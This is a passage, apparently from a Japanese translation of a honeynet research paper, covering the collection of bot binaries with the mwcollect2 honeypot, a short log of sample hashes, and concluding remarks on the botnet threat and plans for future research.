3a0ab2b901f5a9e1023fa839f8ef3fe9 1x mwc-datasubm.1108830729.50dbf813 2005-02-19 17:32 CET f29797873a136a15a7ea19119f72fbed 1x mwc-datasubm.1108831490.3cd98651 2005-02-19 17:44 CET a8571a033629bfad167ef8b4e139ce5c 13x mwc-datasubm.1108832205.5eef6409 2005-02-19 17:56 CET d202563db64f0be026dd6ba900474c64
ダイアルインネットワークのおかげで私たちは2時間で24種類、324個のバイナリの取得に成功した。マルウェアの独自性はmd5sum
(MD5メッセージのチェックを行うツール)を使用して計算した。
mwcollect2を使ってbotを収集するの利点はその安定性にあることは明らかである:botが侵入しようとするWindows2000が動いているハニーポットとWindows XPの為のjmp ebx
オフセットを含んでいるものは明らかにサービスをクラッシュさせる。ほとんどの場合、ハニーポットはリブートさせられてしまう。これに対してmwcollect2は上手に侵入されるのでたくさんのバイナリを収集することができる。さらに、mwcollect2は導入が簡単で、ただmakeコマンドを実行するだけで収集を開始することができる。しかし、収集したバイナリは手動で解析を行わなくてはならない。IRCに関係のあるトラフィックをフィルタリングするsnort_inlineを使ったHoneywallの後ろに設置したハニーウォールは侵入されたあと自動的にdroneの盗聴を開始する。
現在droneもmwcollectdもまだリリースしていない。これらはまだベータ版だと考えており、目下開発中である。さらなる情報はGerman Honeynet Projectにアクセスしてほしい。
この文書ではbotnetがどのように動くか、botnetの脅威、どのように攻撃者がbotnetをコントロールするかを理解するのにhoneynetがどのように役に立つかについて述べた。私たちは一部の攻撃者が非常に高度な技術をもち連携をとっていることを示し、潜在的によく整理された犯罪の構造を持っていることを示した。幾千ものbotの勢力は、どのようなwebサイトやネットワークでもすぐに倒すことができる。技術力が低い人にとってもbotnetは強力な武器となる。botnetはこのように非常に協力かつ驚異的であるため、これらに対抗する手段が必要である。
Akamaiのような分散化はすこしの冗長性を与えてくれるが、非常に大きな数のbotnetはこの冗長性でも深刻な脅威となる。Akamaiを落とすことは非常に多くの団体や会社に衝撃を与える。恐らくそのような団体や個人はターゲットとなる可能性が高いであろう。我々はまだbotnetが軍や政府の研究所に被害を与えたという情報は聞いていないが時間の問題であろう。
将来、私たちはbotnetのような脅威に関する情報を集めるのに有益なハニーポットを開発したいと思っている。例えばクライアントハニーポットのようなネットワークにどんどん入っていくようなもの(例えばウェブをクローリングしたり、IRCチャンネルであったり、P2Pを使用したりする)やハニーポットを改造してマルウェアを捕獲しさらなる解析を行う為にアンチウィルス会社にそれを送りつけるようにしたりするものを作りたい。私たちは制御の為にIRCを使うbotに焦点を当てたため、IRCベースbotの論文にフォーカスを当てた。私たちは他のbotも発見したが、これらは希であり現在開発中である。数ヶ月、数年の間にIRCを使用しないbotが増えていくだろう。恐らくP2Pなどが利用されると思われる。だから、この分野のさらなる研究が必要であり、攻撃者は眠らない。この脅威は更に増えていくし、どんどん変わっていくのでセキュリティの上で非常に重要である。